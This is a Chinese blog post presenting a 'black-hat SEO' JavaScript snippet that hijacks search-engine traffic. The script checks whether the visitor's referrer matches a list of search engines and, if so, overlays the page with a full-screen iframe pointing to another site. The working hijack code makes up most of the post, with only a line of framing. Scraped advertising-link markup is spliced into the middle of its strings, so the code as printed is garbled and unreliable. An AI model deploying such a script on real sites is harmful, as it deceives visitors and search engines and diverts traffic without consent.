黑帽seo劫持程序,js劫持搜索引擎代码

前端技术 2023/09/03 JavaScript

今天在浏览网页时无意中发现了这段JS劫持搜索引擎代码。劫持搜索引擎正常搜索过来的流量，这是黑帽seo常用的劫持方法。特意解密出来供大家了解其劫持原理。

源码打印帮助

<SCRIPT language=\"<span id=\"0_nwp\" style=\"width: auto; height: auto; float: none;\"><a id=\"0_nwl\" href=\"http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=javascript&k0=javascript&kdi0=0&luki=8&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0\" target=\"_blank\" mpid=\"0\" style=\"text-decoration: none;\"><span style=\"color:#0000ff;font-size:12px;width:auto;height:auto;float:none;\">javascript</span></a></span>\">
var _$ = [\"google\", \"aol\", \"yahoo\", \"bing\", \"msn\", \"hotbot\", \"go\", \"searchengine\", \"altavista\", \"goto\", \"excite\", \"slider\", \"musicsearch\", \"lycos\", \"look<span id=\"1_nwp\" style=\"width: auto; height: auto; float: none;\"><a id=\"1_nwl\" href=\"http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=smart&k0=smart&kdi0=0&luki=3&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0\" target=\"_blank\" mpid=\"1\" style=\"text-decoration: none;\"><span style=\"color:#0000ff;font-size:12px;width:auto;height:auto;float:none;\">smart</span></a></span>\", \"netscape\", \"search\", \"ask\", \"Mahalo\", \"dogpile\", \"S-R\", \"webcrawler\", \"yandex\", \"splut\", \"fireball\", \"wlw\", \"suche\", \"godado\", \"tiscali\", \"iltrovatore\", \"abacho\", \"<div <span id=\"2_nwp\" style=\"width: auto; height: auto; float: none;\"><a id=\"2_nwl\" href=\"http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=style&k0=style&kdi0=0&luki=6&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0\" target=\"_blank\" mpid=\"2\" style=\"text-decoration: none;\"><span style=\"color:#0000ff;font-size:12px;width:auto;height:auto;float:none;\">style</span></a></span>=\\\"z-index:10043;background-color:#ffffff;right:0px;position:absolute;tex-align:center;width:100%;height:100%;top:0px;left:0px;\\\"><iframe id=\\\"rf\\\" scrolling=\\\"no\\\" frameborder=\\\"0\\\" style=\\\"width:100%;height:2043px;display:<span id=\"3_nwp\" style=\"width: auto; height: auto; float: none;\"><a id=\"3_nwl\" href=\"http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=block&k0=block&kdi0=0&luki=5&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0\" target=\"_blank\" mpid=\"3\" style=\"text-decoration: none;\"><span style=\"color:#0000ff;font-size:12px;width:auto;height:auto;float:none;\">block</span></a></span>;visibility:visible;\\\" <span id=\"4_nwp\" style=\"width: auto; height: auto; float: none;\"><a id=\"4_nwl\" href=\"http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=src&k0=src&kdi0=0&luki=4&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0\" target=\"_blank\" mpid=\"4\" style=\"text-decoration: none;\"><span style=\"color:#0000ff;font-size:12px;width:auto;height:auto;float:none;\">src</span></a></span>=\\\"http://www.5ixuexiwang.com/\\\" allowtransparency=\\\"true\\\"></div>\"];
var a = window[\"document\"][\"referrer\"];
if (a[\"indexOf\"](_$[0]) > 0x0 || a[\"indexOf\"](_$[1]) > 0x0 || a[\"indexOf\"](_$[2]) > 0x0 || a[\"indexOf\"](_$[3]) > 0x0 || a[\"indexOf\"](_$[4]) > 0x0 || a[\"indexOf\"](_$[5]) > 0x0 || a[\"indexOf\"](_$[6]) > 0x0 || a[\"indexOf\"](_$[7]) > 0x0 || a[\"indexOf\"](_$[8]) > 0x0 || a[\"indexOf\"](_$[9]) > 0x0 || a[\"indexOf\"](_$[10]) > 0x0 || a[\"indexOf\"](_$[11]) > 0x0 || a[\"indexOf\"](_$[12]) > 0x0 || a[\"indexOf\"](_$[13]) > 0x0 || a[\"indexOf\"](_$[14]) > 0x0 || a[\"indexOf\"](_$[15]) > 0x0 || a[\"indexOf\"](_$[16]) > 0x0 || a[\"indexOf\"](_$[17]) > 0x0 || a[\"indexOf\"](_$[18]) > 0x0 || a[\"indexOf\"](_$[19]) > 0x0 || a[\"indexOf\"](_$[20]) > 0x0 || a[\"indexOf\"](_$[21]) > 0x0 || a[\"indexOf\"](_$[22]) > 0x0 || a[\"indexOf\"](_$[23]) > 0x0 || a[\"indexOf\"](_$[24]) > 0x0 || a[\"indexOf\"](_$[25]) > 0x0 || a[\"indexOf\"](_$[26]) > 0x0 || a[\"indexOf\"](_$[27]) > 0x0 || a[\"indexOf\"](_$[28]) > 0x0 || a[\"indexOf\"](_$[29]) > 0x0 || a[\"indexOf\"](_$[30]) > 0x0) {
  window[\"document\"][\"writeln\"](_$[31])
}
</SCRIPT>

以上内容就是给大家分享的黑帽seo劫持程序,js劫持搜索引擎代码，希望大家喜欢。

本文地址：https://www.stayed.cn/item/8154

转载请注明出处。

本站部分内容来源于网络,如侵犯到您的权益,请 联系我

我的博客

人生若只如初见，何事秋风悲画扇。

我的标签

随笔档案